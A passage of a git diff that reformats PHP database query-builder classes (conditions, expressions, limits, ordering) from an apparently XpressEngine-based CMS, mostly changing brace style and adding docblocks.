$conditionGroup->getArguments(); + if(count($args) > 0) + { + $this->arguments = array_merge($this->arguments, $args); + } + } + } + + // Navigation arguments + if(count($this->orderby) > 0) + { + foreach($this->orderby as $order) + { + $args = $order->getArguments(); + if(count($args) > 0) + { + $this->arguments = array_merge($this->arguments, $args); + } + } + } + } + return $this->arguments; + } + +} +/* End of file Query.class.php */ +/* Location: ./classes/db/queryparts/Query.class.php */ diff --git a/classes/db/queryparts/Subquery.class.php b/classes/db/queryparts/Subquery.class.php index 922b7f0b8..53c3b7bb0 100644 --- a/classes/db/queryparts/Subquery.class.php +++ b/classes/db/queryparts/Subquery.class.php @@ -1,65 +1,79 @@ alias = $alias; + /** + * join type + * @var string + */ + var $join_type; - $this->queryID = null; - $this->action = "select"; + /** + * constructor + * @param string $alias + * @param string|array $columns + * @param string|array $tables + * @param string|array $conditions + * @param string|array $groups + * @param string|array $orderby + * @param int $limit + * @param string $join_type + * @return void + */ + function Subquery($alias, $columns, $tables, $conditions, $groups, $orderby, $limit, $join_type = null) + { + $this->alias = $alias; - $this->columns = $columns; - $this->tables = $tables; - $this->conditions = $conditions; - $this->groups = $groups; - $this->orderby = $orderby; - $this->limit = $limit; - $this->join_type = $join_type; - } + $this->queryID = null; + $this->action = "select"; - function getAlias(){ - return $this->alias; - } - - function isJoinTable(){ - if($this->join_type) return true; - return false; - } - - function toString($with_values = true){ - $oDB = &DB::getInstance(); - - return '(' .$oDB->getSelectSql($this, $with_values) . ')'; - - } - - function isSubquery(){ - return true; - } + $this->columns = $columns; + $this->tables = $tables; + $this->conditions = $conditions; + $this->groups = $groups; + $this->orderby = $orderby; + $this->limit = $limit; + $this->join_type = $join_type; } + + function getAlias() + { + return $this->alias; + } + + function isJoinTable() + { + if($this->join_type) + { + return true; + } + return false; + } + + function toString($with_values = true) + { + $oDB = &DB::getInstance(); + + return '(' . $oDB->getSelectSql($this, $with_values) . ')'; + } + + function isSubquery() + { + return true; + } + +} +/* End of file Subquery.class.php */ +/* Location: ./classes/db/queryparts/Subquery.class.php */ diff --git a/classes/db/queryparts/condition/Condition.class.php b/classes/db/queryparts/condition/Condition.class.php index 4e4a2c634..211f8d59d 100644 --- a/classes/db/queryparts/condition/Condition.class.php +++ b/classes/db/queryparts/condition/Condition.class.php @@ -1,223 +1,257 @@ column_name = $column_name; - $this->argument = $argument; - $this->operation = $operation; - $this->pipe = $pipe; - - } - - function getArgument(){ - return null; - } - - /** - * value to string - * @param boolean $withValue - * @return string - */ - function toString($withValue = true){ - if (!isset($this->_value_to_string)) { - if (!$this->show()) - { - $this->_value_to_string = ''; - } - else if ($withValue) - { - $this->_value_to_string = $this->toStringWithValue(); - } - else - { - $this->_value_to_string = $this->toStringWithoutValue(); - } - } - return $this->_value_to_string; - } - - /** - * change string without value - * @return string - */ - function toStringWithoutValue(){ - return $this->pipe . ' ' . $this->getConditionPart($this->_value); - } - - /** - * change string with value - * @return string - */ - function toStringWithValue(){ - return $this->pipe . ' ' . $this->getConditionPart($this->_value); - } - - function setPipe($pipe){ - $this->pipe = $pipe; - } - - /** - * @return boolean - */ - function show(){ - if(!isset($this->_show)){ - if(is_array($this->_value) && count($this->_value) === 1 && $this->_value[0] === '') { - $this->_show = false; - } - else { - $this->_show = true; - switch($this->operation) { - case 'equal' : - case 'more' : - case 'excess' : - case 'less' : - case 'below' : - case 'like_tail' : - case 'like_prefix' : - case 'like' : - case 'notlike_tail' : - case 'notlike_prefix' : - case 'notlike' : - case 'in' : - case 'notin' : - case 'not_in' : - case 'and': - case 'or': - case 'xor': - case 'not': - case 'notequal' : - // if variable is not set or is not string or number, return - if(!isset($this->_value)) { $this->_show = false; break;} - if($this->_value === '') { $this->_show = false; break; } - $tmpArray = array('string'=>1, 'integer'=>1); - if(!isset($tmpArray[gettype($this->_value)])) - { - $this->_show = false; break; - } - break; - case 'between' : - if(!is_array($this->_value)) { $this->_show = false; break;} - if(count($this->_value)!=2) {$this->_show = false; break;} - case 'null': - case 'notnull': - break; - default: - // If operation is not one of the above, means the condition is invalid - $this->_show = false; - } - } - } - return $this->_show; - } - - /** - * Return condition string - * @param int|string|array $value - * @return string - */ - function getConditionPart($value) { - $name = $this->column_name; - $operation = $this->operation; - - switch($operation) { - case 'equal' : - return $name.' = '.$value; - break; - case 'more' : - return $name.' >= '.$value; - break; - case 'excess' : - return $name.' > '.$value; - break; - case 'less' : - return $name.' <= '.$value; - break; - case 'below' : - return $name.' < '.$value; - break; - case 'like_tail' : - case 'like_prefix' : - case 'like' : - if(defined('__CUBRID_VERSION__') - && __CUBRID_VERSION__ >= '8.4.1') - return $name.' rlike '.$value; - else - return $name.' like '.$value; - break; - case 'notlike_tail' : - case 'notlike_prefix' : - case 'notlike' : - return $name.' not like '.$value; - break; - case 'in' : - return $name.' in '.$value; - break; - case 'notin' : - case 'not_in' : - return $name.' not in '.$value; - break; - case 'notequal' : - return $name.' <> '.$value; - break; - case 'notnull' : - return $name.' is not null'; - break; - case 'null' : - return $name.' is null'; - break; - case 'and' : - return $name.' & '.$value; - break; - case 'or' : - return $name.' | '.$value; - break; - case 'xor' : - return $name.' ^ '.$value; - break; - case 'not' : - return $name.' ~ '.$value; - break; - case 'between' : - return $name.' between ' . $value[0] . ' and ' . $value[1]; - break; - } - } + /** + * constructor + * @param string $column_name + * @param mixed $argument + * @param string $operation + * @param string $pipe + * @return void + */ + function Condition($column_name, $argument, $operation, $pipe) + { + $this->column_name = $column_name; + $this->argument = $argument; + $this->operation = $operation; + $this->pipe = $pipe; } -?> + function getArgument() + { + return null; + } + + /** + * value to string + * @param boolean $withValue + * @return string + */ + function toString($withValue = true) + { + if(!isset($this->_value_to_string)) + { + if(!$this->show()) + { + $this->_value_to_string = ''; + } + else if($withValue) + { + $this->_value_to_string = $this->toStringWithValue(); + } + else + { + $this->_value_to_string = $this->toStringWithoutValue(); + } + } + return $this->_value_to_string; + } + + /** + * change string without value + * @return string + */ + function toStringWithoutValue() + { + return $this->pipe . ' ' . $this->getConditionPart($this->_value); + } + + /** + * change string with value + * @return string + */ + function toStringWithValue() + { + return $this->pipe . ' ' . $this->getConditionPart($this->_value); + } + + function setPipe($pipe) + { + $this->pipe = $pipe; + } + + /** + * @return boolean + */ + function show() + { + if(!isset($this->_show)) + { + if(is_array($this->_value) && count($this->_value) === 1 && $this->_value[0] === '') + { + $this->_show = false; + } + else + { + $this->_show = true; + switch($this->operation) + { + case 'equal' : + case 'more' : + case 'excess' : + case 'less' : + case 'below' : + case 'like_tail' : + case 'like_prefix' : + case 'like' : + case 'notlike_tail' : + case 'notlike_prefix' : + case 'notlike' : + case 'in' : + case 'notin' : + case 'not_in' : + case 'and': + case 'or': + case 'xor': + case 'not': + case 'notequal' : + // if variable is not set or is not string or number, return + if(!isset($this->_value)) + { + $this->_show = false; + break; + } + if($this->_value === '') + { + $this->_show = false; + break; + } + $tmpArray = array('string' => 1, 'integer' => 1); + if(!isset($tmpArray[gettype($this->_value)])) + { + $this->_show = false; + break; + } + break; + case 'between' : + if(!is_array($this->_value)) + { + $this->_show = false; + break; + } + if(count($this->_value) != 2) + { + $this->_show = false; + break; + } + case 'null': + case 'notnull': + break; + default: + // If operation is not one of the above, means the condition is invalid + $this->_show = false; + } + } + } + return $this->_show; + } + + /** + * Return condition string + * @param int|string|array $value + * @return string + */ + function getConditionPart($value) + { + $name = $this->column_name; + $operation = $this->operation; + + switch($operation) + { + case 'equal' : + return $name . ' = ' . $value; + break; + case 'more' : + return $name . ' >= ' . $value; + break; + case 'excess' : + return $name . ' > ' . $value; + break; + case 'less' : + return $name . ' <= ' . $value; + break; + case 'below' : + return $name . ' < ' . $value; + break; + case 'like_tail' : + case 'like_prefix' : + case 'like' : + if(defined('__CUBRID_VERSION__') + && __CUBRID_VERSION__ >= '8.4.1') + return $name . ' rlike ' . $value; + else + return $name . ' like ' . $value; + break; + case 'notlike_tail' : + case 'notlike_prefix' : + case 'notlike' : + return $name . ' not like ' . $value; + break; + case 'in' : + return $name . ' in ' . $value; + break; + case 'notin' : + case 'not_in' : + return $name . ' not in ' . $value; + break; + case 'notequal' : + return $name . ' <> ' . $value; + break; + case 'notnull' : + return $name . ' is not null'; + break; + case 'null' : + return $name . ' is null'; + break; + case 'and' : + return $name . ' & ' . $value; + break; + case 'or' : + return $name . ' | ' . $value; + break; + case 'xor' : + return $name . ' ^ ' . $value; + break; + case 'not' : + return $name . ' ~ ' . $value; + break; + case 'between' : + return $name . ' between ' . $value[0] . ' and ' . $value[1]; + break; + } + } + +} +/* End of file Condition.class.php */ +/* Location: ./classes/db/queryparts/condition/Condition.class.php */ diff --git a/classes/db/queryparts/condition/ConditionGroup.class.php b/classes/db/queryparts/condition/ConditionGroup.class.php index daa90ad0a..1a0962dde 100644 --- a/classes/db/queryparts/condition/ConditionGroup.class.php +++ b/classes/db/queryparts/condition/ConditionGroup.class.php @@ -1,87 +1,119 @@ conditions = array(); - foreach($conditions as $condition){ - if($condition->show()) - $this->conditions[] = $condition; - } - if(count($this->conditions) === 0) $this->_show = false; - else $this->_show = true; - - $this->pipe = $pipe; + /** + * constructor + * @param array $conditions + * @param string $pipe + * @return void + */ + function ConditionGroup($conditions, $pipe = "") + { + $this->conditions = array(); + foreach($conditions as $condition) + { + if($condition->show()) + { + $this->conditions[] = $condition; + } + } + if(count($this->conditions) === 0) + { + $this->_show = false; + } + else + { + $this->_show = true; } - function show(){ - return $this->_show; - } + $this->pipe = $pipe; + } - function setPipe($pipe){ - if($this->pipe !== $pipe) $this->_group = null; - $this->pipe = $pipe; - } + function show() + { + return $this->_show; + } - /** - * value to string - * @param boolean $with_value - * @return string - */ - function toString($with_value = true){ - if(!isset($this->_group)){ + function setPipe($pipe) + { + if($this->pipe !== $pipe) + { + $this->_group = null; + } + $this->pipe = $pipe; + } + + /** + * value to string + * @param boolean $with_value + * @return string + */ + function toString($with_value = true) + { + if(!isset($this->_group)) + { $cond_indx = 0; - $group = ''; + $group = ''; - foreach($this->conditions as $condition){ - if($cond_indx === 0) $condition->setPipe(""); - $group .= $condition->toString($with_value) . ' '; - $cond_indx++; + foreach($this->conditions as $condition) + { + if($cond_indx === 0) + { + $condition->setPipe(""); + } + $group .= $condition->toString($with_value) . ' '; + $cond_indx++; } - if($this->pipe !== "" && trim($group) !== ''){ - $group = $this->pipe . ' (' . $group . ')'; - } + if($this->pipe !== "" && trim($group) !== '') + { + $group = $this->pipe . ' (' . $group . ')'; + } - $this->_group = $group; - } - return $this->_group; - } - - /** - * return argument list - * @return array - */ - function getArguments(){ - $args = array(); - foreach($this->conditions as $condition){ - $arg = $condition->getArgument(); - if($arg) $args[] = $arg; - } - return $args; + $this->_group = $group; } + return $this->_group; } -?> + + /** + * return argument list + * @return array + */ + function getArguments() + { + $args = array(); + foreach($this->conditions as $condition) + { + $arg = $condition->getArgument(); + if($arg) + { + $args[] = $arg; + } + } + return $args; + } + +} +/* End of file ConditionGroup.class.php */ +/* Location: ./classes/db/queryparts/condition/ConditionGroup.class.php */ diff --git a/classes/db/queryparts/condition/ConditionSubquery.class.php b/classes/db/queryparts/condition/ConditionSubquery.class.php index 6d359914a..b286db23b 100644 --- a/classes/db/queryparts/condition/ConditionSubquery.class.php +++ b/classes/db/queryparts/condition/ConditionSubquery.class.php @@ -1,23 +1,27 @@ _value = $this->argument->toString(); - } +/** + * @author NHN (developers@xpressengine.com) + * @package /classes/db/queryparts/condition + * @version 0.1 + */ +class ConditionSubquery extends Condition +{ + + /** + * constructor + * @param string $column_name + * @param mixed $argument + * @param string $operation + * @param string $pipe + * @return void + */ + function ConditionSubquery($column_name, $argument, $operation, $pipe = "") + { + parent::Condition($column_name, $argument, $operation, $pipe); + $this->_value = $this->argument->toString(); } -?> +} +/* End of file ConditionSubquery.class.php */ +/* Location: ./classes/db/queryparts/condition/ConditionSubquery.class.php */ diff --git a/classes/db/queryparts/condition/ConditionWithArgument.class.php b/classes/db/queryparts/condition/ConditionWithArgument.class.php index 42bc86cd4..08366d64e 100644 --- a/classes/db/queryparts/condition/ConditionWithArgument.class.php +++ b/classes/db/queryparts/condition/ConditionWithArgument.class.php @@ -1,71 +1,98 @@ _show = false; return; } - parent::Condition($column_name, $argument, $operation, $pipe); - $this->_value = $argument->getValue(); - } - - function getArgument(){ - if(!$this->show()) return; - return $this->argument; - } - - /** - * change string without value - * @return string - */ - function toStringWithoutValue(){ - $value = $this->argument->getUnescapedValue(); - - if(is_array($value)){ - $q = ''; - foreach ($value as $v) $q .= '?,'; - if($q !== '') $q = substr($q, 0, -1); - $q = '(' . $q . ')'; - } - else - { - // Prepared statements: column names should not be sent as query arguments, but instead concatenated to query string - if($this->argument->isColumnName()) - { - $q = $value; - } - else - { - $q = '?'; - } - } - return $this->pipe . ' ' . $this->getConditionPart($q); - } - - /** - * @return boolean - */ - function show(){ - if(!isset($this->_show)){ - if(!$this->argument->isValid()) $this->_show = false; - if($this->_value === '\'\'') $this->_show = false; - if(!isset($this->_show)){ - return parent::show(); - } - } - return $this->_show; + function ConditionWithArgument($column_name, $argument, $operation, $pipe = "") + { + if($argument === null) + { + $this->_show = false; + return; } + parent::Condition($column_name, $argument, $operation, $pipe); + $this->_value = $argument->getValue(); } -?> + function getArgument() + { + if(!$this->show()) + return; + return $this->argument; + } + + /** + * change string without value + * @return string + */ + function toStringWithoutValue() + { + $value = $this->argument->getUnescapedValue(); + + if(is_array($value)) + { + $q = ''; + foreach($value as $v) + { + $q .= '?,'; + } + if($q !== '') + { + $q = substr($q, 0, -1); + } + $q = '(' . $q . ')'; + } + else + { + // Prepared statements: column names should not be sent as query arguments, but instead concatenated to query string + if($this->argument->isColumnName()) + { + $q = $value; + } + else + { + $q = '?'; + } + } + return $this->pipe . ' ' . $this->getConditionPart($q); + } + + /** + * @return boolean + */ + function show() + { + if(!isset($this->_show)) + { + if(!$this->argument->isValid()) + { + $this->_show = false; + } + if($this->_value === '\'\'') + { + $this->_show = false; + } + if(!isset($this->_show)) + { + return parent::show(); + } + } + return $this->_show; + } + +} +/* End of file ConditionWithArgument.class.php */ +/* Location: ./classes/db/queryparts/condition/ConditionWithArgument.class.php */ diff --git a/classes/db/queryparts/condition/ConditionWithoutArgument.class.php b/classes/db/queryparts/condition/ConditionWithoutArgument.class.php index 688b3e2df..a028f5b67 100644 --- a/classes/db/queryparts/condition/ConditionWithoutArgument.class.php +++ b/classes/db/queryparts/condition/ConditionWithoutArgument.class.php @@ -1,29 +1,39 @@ 1, 'notin'=>1, 'not_in'=>1); - if(isset($tmpArray[$operation])){ - if(is_array($argument)) $argument = implode($argument, ','); - $this->_value = '('. $argument .')'; - } - else - $this->_value = $argument; +/** + * @author NHN (developers@xpressengine.com) + * @package /classes/db/queryparts/condition + * @version 0.1 + */ +class ConditionWithoutArgument extends Condition +{ + + /** + * constructor + * @param string $column_name + * @param mixed $argument + * @param string $operation + * @param string $pipe + * @return void + */ + function ConditionWithoutArgument($column_name, $argument, $operation, $pipe = "") + { + parent::Condition($column_name, $argument, $operation, $pipe); + $tmpArray = array('in' => 1, 'notin' => 1, 'not_in' => 1); + if(isset($tmpArray[$operation])) + { + if(is_array($argument)) + { + $argument = implode($argument, ','); + } + $this->_value = '(' . $argument . ')'; + } + else + { + $this->_value = $argument; } } -?> +} +/* End of file ConditionWithoutArgument.class.php */ +/* Location: ./classes/db/queryparts/condition/ConditionWithoutArgument.class.php */ diff --git a/classes/db/queryparts/expression/ClickCountExpression.class.php b/classes/db/queryparts/expression/ClickCountExpression.class.php index 36b123bc8..50f48da5f 100644 --- a/classes/db/queryparts/expression/ClickCountExpression.class.php +++ b/classes/db/queryparts/expression/ClickCountExpression.class.php @@ -1,53 +1,61 @@ -click_count = false; - } - $this->click_count = $click_count; + var $click_count; + + /** + * constructor + * @param string $column_name + * @param string $alias + * @param bool $click_count + * @return void + */ + function ClickCountExpression($column_name, $alias = NULL, $click_count = false) + { + parent::SelectExpression($column_name, $alias); + + if(!is_bool($click_count)) + { + // error_log("Click_count value for $column_name was not boolean", 0); + $this->click_count = false; } - - function show() { - return $this->click_count; + $this->click_count = $click_count; + } + + function show() + { + return $this->click_count; + } + + /** + * Return column expression, ex) column = column + 1 + * @return string + */ + function getExpression() + { + $db_type = Context::getDBType(); + if($db_type == 'cubrid') + { + return "INCR($this->column_name)"; } - - /** - * Return column expression, ex) column = column + 1 - * @return string - */ - function getExpression(){ - $db_type = Context::getDBType(); - if($db_type == 'cubrid') - { - return "INCR($this->column_name)"; - } - else - { - return "$this->column_name"; - } + else + { + return "$this->column_name"; } } -?> +} +/* End of file ClickCountExpression.class.php */ +/* Location: ./classes/db/queryparts/expression/ClickCountExpression.class.php */ diff --git a/classes/db/queryparts/expression/DeleteExpression.class.php b/classes/db/queryparts/expression/DeleteExpression.class.php index d304b1e1e..c86a4d4fb 100644 --- a/classes/db/queryparts/expression/DeleteExpression.class.php +++ b/classes/db/queryparts/expression/DeleteExpression.class.php @@ -1,50 +1,62 @@ -value = $value; - } - - /** - * Return column expression, ex) column = value - * @return string - */ - function getExpression(){ - return "$this->column_name = $this->value"; - } - - function getValue(){ - // TODO Escape value according to column type instead of variable type - if(!is_numeric($this->value)) return "'".$this->value."'"; - return $this->value; - } - - function show(){ - if(!$this->value) return false; - return true; - } +/** + * DeleteExpression + * + * @author Arnia Software + * @package /classes/db/queryparts/expression + * @version 0.1 + * @todo Fix this class + */ +class DeleteExpression extends Expression +{ + + /** + * column value + * @var mixed + */ + var $value; + + /** + * constructor + * @param string $column_name + * @param mixed $value + * @return void + */ + function DeleteExpression($column_name, $value) + { + parent::Expression($column_name); + $this->value = $value; } + /** + * Return column expression, ex) column = value + * @return string + */ + function getExpression() + { + return "$this->column_name = $this->value"; + } -?> + function getValue() + { + // TODO Escape value according to column type instead of variable type + if(!is_numeric($this->value)) + { + return "'" . $this->value . "'"; + } + return $this->value; + } + + function show() + { + if(!$this->value) + { + return false; + } + return true; + } + +} +/* End of file DeleteExpression.class.php */ +/* Location: ./classes/db/queryparts/expression/DeleteExpression.class.php */ diff --git a/classes/db/queryparts/expression/Expression.class.php b/classes/db/queryparts/expression/Expression.class.php index 09868c9cf..463f107ed 100644 --- a/classes/db/queryparts/expression/Expression.class.php +++ b/classes/db/queryparts/expression/Expression.class.php @@ -1,44 +1,55 @@ column_name = $column_name; - } - - function getColumnName(){ - return $this->column_name; - } - - function show() { - return false; - } - - /** - * Return column expression, ex) column as alias - * @return string - */ - function getExpression() { - } + var $column_name; + + /** + * constructor + * @param string $column_name + * @return void + */ + function Expression($column_name) + { + $this->column_name = $column_name; } + + function getColumnName() + { + return $this->column_name; + } + + function show() + { + return false; + } + + /** + * Return column expression, ex) column as alias + * @return string + */ + function getExpression() + { + + } + +} +/* End of file Expression.class.php */ +/* Location: ./classes/db/queryparts/expression/Expression.class.php */ diff --git a/classes/db/queryparts/expression/InsertExpression.class.php b/classes/db/queryparts/expression/InsertExpression.class.php index 3cf8d81ee..efd0e58f8 100644 --- a/classes/db/queryparts/expression/InsertExpression.class.php +++ b/classes/db/queryparts/expression/InsertExpression.class.php @@ -1,53 +1,73 @@ argument = $argument; - } + /** + * constructor + * @param string $column_name + * @param object $argument + * @return void + */ + function InsertExpression($column_name, $argument) + { + parent::Expression($column_name); + $this->argument = $argument; + } - function getValue($with_values = true){ - if($with_values) - return $this->argument->getValue(); - return '?'; - } - - function show(){ - if(!$this->argument) return false; - $value = $this->argument->getValue(); - if(!isset($value)) return false; - return true; - } - - function getArgument(){ - return $this->argument; - } - - function getArguments() + function getValue($with_values = true) + { + if($with_values) { - if ($this->argument) - return array($this->argument); - else - return array(); + return $this->argument->getValue(); + } + return '?'; + } + + function show() + { + if(!$this->argument) + { + return false; + } + $value = $this->argument->getValue(); + if(!isset($value)) + { + return false; + } + return true; + } + + function getArgument() + { + return $this->argument; + } + + function getArguments() + { + if($this->argument) + { + return array($this->argument); + } + else + { + return array(); } } -?> +} +/* End of file InsertExpression.class.php */ +/* Location: ./classes/db/queryparts/expression/InsertExpression.class.php */ diff --git a/classes/db/queryparts/expression/SelectExpression.class.php b/classes/db/queryparts/expression/SelectExpression.class.php index ea3a5d22b..6ae36d52b 100644 --- a/classes/db/queryparts/expression/SelectExpression.class.php +++ b/classes/db/queryparts/expression/SelectExpression.class.php @@ -1,59 +1,69 @@ column_alias = $alias; - } - - /** - * Return column expression, ex) column as alias - * @return string - */ - function getExpression() { - return sprintf("%s%s", $this->column_name, $this->column_alias ? " as ".$this->column_alias : ""); - } - - function show() { - return true; - } - - function getArgument(){ - return null; - } - - function getArguments() - { - return array(); - } - - function isSubquery(){ - return false; - } + /** + * constructor + * @param string $column_name + * @param string $alias + * @return void + */ + function SelectExpression($column_name, $alias = NULL) + { + parent::Expression($column_name); + $this->column_alias = $alias; } -?> + + /** + * Return column expression, ex) column as alias + * @return string + */ + function getExpression() + { + return sprintf("%s%s", $this->column_name, $this->column_alias ? " as " . $this->column_alias : ""); + } + + function show() + { + return true; + } + + function getArgument() + { + return null; + } + + function getArguments() + { + return array(); + } + + function isSubquery() + { + return false; + } + +} +/* End of file SelectExpression.class.php */ +/* Location: ./classes/db/queryparts/expression/SelectExpression.class.php */ diff --git a/classes/db/queryparts/expression/StarExpression.class.php b/classes/db/queryparts/expression/StarExpression.class.php index 38a877322..f010c8593 100644 --- a/classes/db/queryparts/expression/StarExpression.class.php +++ b/classes/db/queryparts/expression/StarExpression.class.php @@ -1,28 +1,36 @@ - + + function getArgument() + { + return null; + } + + function getArguments() + { + // StarExpression has no arguments + return array(); + } + +} +/* End of file StarExpression.class.php */ +/* Location: ./classes/db/queryparts/expression/StarExpression.class.php */ diff --git a/classes/db/queryparts/expression/UpdateExpression.class.php b/classes/db/queryparts/expression/UpdateExpression.class.php index 0f0324bc4..a942a9f9c 100644 --- a/classes/db/queryparts/expression/UpdateExpression.class.php +++ b/classes/db/queryparts/expression/UpdateExpression.class.php @@ -1,89 +1,118 @@ argument = $argument; - } + /** + * constructor + * @param string $column_name + * @param object $argument + * @return void + */ + function UpdateExpression($column_name, $argument) + { + parent::Expression($column_name); + $this->argument = $argument; + } - /** - * Return column expression, ex) column = value - * @return string - */ - function getExpression($with_value = true){ - if($with_value) - return $this->getExpressionWithValue(); - return $this->getExpressionWithoutValue(); - } - - /** - * Return column expression, ex) column = value - * @return string - */ - function getExpressionWithValue(){ - $value = $this->argument->getValue(); - $operation = $this->argument->getColumnOperation(); - if(isset($operation)) - return "$this->column_name = $this->column_name $operation $value"; - return "$this->column_name = $value"; - } - - /** - * Return column expression, ex) column = ? - * Can use prepare statement - * @return string - */ - function getExpressionWithoutValue(){ - $operation = $this->argument->getColumnOperation(); - if(isset($operation)) - return "$this->column_name = $this->column_name $operation ?"; - return "$this->column_name = ?"; - } - - function getValue(){ - // TODO Escape value according to column type instead of variable type - $value = $this->argument->getValue(); - if(!is_numeric($value)) return "'".$value."'"; - return $value; - } - - function show(){ - if(!$this->argument) return false; - $value = $this->argument->getValue(); - if(!isset($value)) return false; - return true; - } - - function getArgument(){ - return $this->argument; - } - - function getArguments() + /** + * Return column expression, ex) column = value + * @return string + */ + function getExpression($with_value = true) + { + if($with_value) + { + return $this->getExpressionWithValue(); + } + return $this->getExpressionWithoutValue(); + } + + /** + * Return column expression, ex) column = value + * @return string + */ + function getExpressionWithValue() + { + $value = $this->argument->getValue(); + $operation = $this->argument->getColumnOperation(); + if(isset($operation)) + { + return "$this->column_name = $this->column_name $operation $value"; + } + return "$this->column_name = $value"; + } + + /** + * Return column expression, ex) column = ? + * Can use prepare statement + * @return string + */ + function getExpressionWithoutValue() + { + $operation = $this->argument->getColumnOperation(); + if(isset($operation)) + { + return "$this->column_name = $this->column_name $operation ?"; + } + return "$this->column_name = ?"; + } + + function getValue() + { + // TODO Escape value according to column type instead of variable type + $value = $this->argument->getValue(); + if(!is_numeric($value)) + { + return "'" . $value . "'"; + } + return $value; + } + + function show() + { + if(!$this->argument) + { + return false; + } + $value = $this->argument->getValue(); + if(!isset($value)) + { + return false; + } + return true; + } + + function getArgument() + { + return $this->argument; + } + + function getArguments() + { + if($this->argument) { - if ($this->argument) return array($this->argument); - else + } + else + { return array(); } } - -?> +} +/* End of file UpdateExpression.class.php */ +/* Location: ./classes/db/queryparts/expression/UpdateExpression.class.php */ diff --git a/classes/db/queryparts/expression/UpdateExpressionWithoutArgument.class.php b/classes/db/queryparts/expression/UpdateExpressionWithoutArgument.class.php index a8cd44495..38123f221 100644 --- a/classes/db/queryparts/expression/UpdateExpressionWithoutArgument.class.php +++ b/classes/db/queryparts/expression/UpdateExpressionWithoutArgument.class.php @@ -1,55 +1,73 @@ argument = $argument; - } - - function getExpression($with_value = true){ - return "$this->column_name = $this->argument"; - } - - function getValue(){ - // TODO Escape value according to column type instead of variable type - $value = $this->argument; - if(!is_numeric($value)) return "'".$value."'"; - return $value; - } - - function show(){ - if(!$this->argument) return false; - $value = $this->argument; - if(!isset($value)) return false; - return true; - } - - function getArgument(){ - return null; - } - - function getArguments(){ - return array(); - } + /** + * constructor + * @param string $column_name + * @param object $argument + * @return void + */ + function UpdateExpressionWithoutArgument($column_name, $argument) + { + parent::Expression($column_name); + $this->argument = $argument; } + function getExpression($with_value = true) + { + return "$this->column_name = $this->argument"; + } -?> + function getValue() + { + // TODO Escape value according to column type instead of variable type + $value = $this->argument; + if(!is_numeric($value)) + { + return "'" . $value . "'"; + } + return $value; + } + + function show() + { + if(!$this->argument) + { + return false; + } + $value = $this->argument; + if(!isset($value)) + { + return false; + } + return true; + } + + function getArgument() + { + return null; + } + + function getArguments() + { + return array(); + } + +} +/* End of file UpdateExpressionWithoutArgument.class.php */ +/* Location: ./classes/db/queryparts/expression/UpdateExpressionWithoutArgument.class.php */ diff --git a/classes/db/queryparts/limit/Limit.class.php b/classes/db/queryparts/limit/Limit.class.php index 256c42eb1..bce192d08 100644 --- a/classes/db/queryparts/limit/Limit.class.php +++ b/classes/db/queryparts/limit/Limit.class.php @@ -1,69 +1,95 @@ -list_count = $list_count; - if ($page){ - $list_count_value = $list_count->getValue(); - $page_value = $page->getValue(); - $this->start = ($page_value - 1) * $list_count_value; - $this->page_count = $page_count; - $this->page = $page; - } - } - - /** - * In case you choose to use query limit in other cases than page select - * @return boolean - */ - function isPageHandler(){ - if ($this->page)return true; - else return false; - } - - function getOffset(){ - return $this->start; - } - - function getLimit(){ - return $this->list_count->getValue(); - } - - function toString(){ - if ($this->page) return $this->start . ' , ' . $this->list_count->getValue(); - else return $this->list_count->getValue(); +/** + * @author NHN (developers@xpressengine.com) + * @package /classes/db/queryparts/limit + * @version 0.1 + */ +class Limit +{ + + /** + * start number + * @var int + */ + var $start; + + /** + * list count + * @var int + */ + var $list_count; + + /** + * page count + * @var int + */ + var $page_count; + + /** + * current page + * @var int + */ + var $page; + + /** + * constructor + * @param int $list_count + * @param int $page + * @param int $page_count + * @return void + */ + function Limit($list_count, $page = NULL, $page_count = NULL) + { + $this->list_count = $list_count; + if($page) + { + $list_count_value = $list_count->getValue(); + $page_value = $page->getValue(); + $this->start = ($page_value - 1) * $list_count_value; + $this->page_count = $page_count; + $this->page = $page; } } -?> + + /** + * In case you choose to use query limit in other cases than page select + * @return boolean + */ + function isPageHandler() + { + if($this->page) + { + return true; + } + else + { + return false; + } + } + + function getOffset() + { + return $this->start; + } + + function getLimit() + { + return $this->list_count->getValue(); + } + + function toString() + { + if($this->page) + { + return $this->start . ' , ' . $this->list_count->getValue(); + } + else + { + return $this->list_count->getValue(); + } + } + +} +/* End of file Limit.class.php */ +/* Location: ./classes/db/limit/Limit.class.php */ diff --git a/classes/db/queryparts/order/OrderByColumn.class.php b/classes/db/queryparts/order/OrderByColumn.class.php index 3dfa8f949..bdfafd562 100644 --- a/classes/db/queryparts/order/OrderByColumn.class.php +++ b/classes/db/queryparts/order/OrderByColumn.class.php @@ -1,50 +1,73 @@ -column_name = $column_name; - $this->sort_order = $sort_order; + var $column_name; + + /** + * sort order + * @var string + */ + var $sort_order; + + /** + * constructor + * @param string $column_name + * @param string $sort_order + * @return void + */ + function OrderByColumn($column_name, $sort_order) + { + $this->column_name = $column_name; + $this->sort_order = $sort_order; + } + + function toString() + { + $result = $this->getColumnName(); + $result .= ' '; + $result .= is_a($this->sort_order, 'Argument') ? $this->sort_order->getValue() : $this->sort_order; + return $result; + } + + function getColumnName() + { + return is_a($this->column_name, 'Argument') ? $this->column_name->getValue() : $this->column_name; + } + + function getPureColumnName() + { + return is_a($this->column_name, 'Argument') ? $this->column_name->getPureValue() : $this->column_name; + } + + function getPureSortOrder() + { + return is_a($this->sort_order, 'Argument') ? $this->sort_order->getPureValue() : $this->sort_order; + } + + function getArguments() + { + $args = array(); + if(is_a($this->column_name, 'Argument')) + { + $args[] = $this->column_name; } - - function toString(){ - $result = $this->getColumnName(); - $result .= ' '; - $result .= is_a($this->sort_order, 'Argument') ? $this->sort_order->getValue() : $this->sort_order; - return $result; - } - - function getColumnName(){ - return is_a($this->column_name, 'Argument') ? $this->column_name->getValue() : $this->column_name; - } - - function getArguments(){ - $args = array(); - if(is_a($this->column_name, 'Argument')) - $args[]= $this->column_name; - if(is_a($this->sort_order, 'Argument')) - $args[] = $this->sort_order; + if(is_a($this->sort_order, 'Argument')) + { + $args[] = $this->sort_order; } } -?> +} +/* End of file OrderByColumn.class.php */ +/* Location: ./classes/db/order/OrderByColumn.class.php */ diff --git a/classes/db/queryparts/table/CubridTableWithHint.class.php b/classes/db/queryparts/table/CubridTableWithHint.class.php index 79d645234..d807891a5 100644 --- a/classes/db/queryparts/table/CubridTableWithHint.class.php +++ b/classes/db/queryparts/table/CubridTableWithHint.class.php @@ -1,62 +1,71 @@ index_hints_list = $index_hints_list; - } + /** + * table alias + * @var string + */ 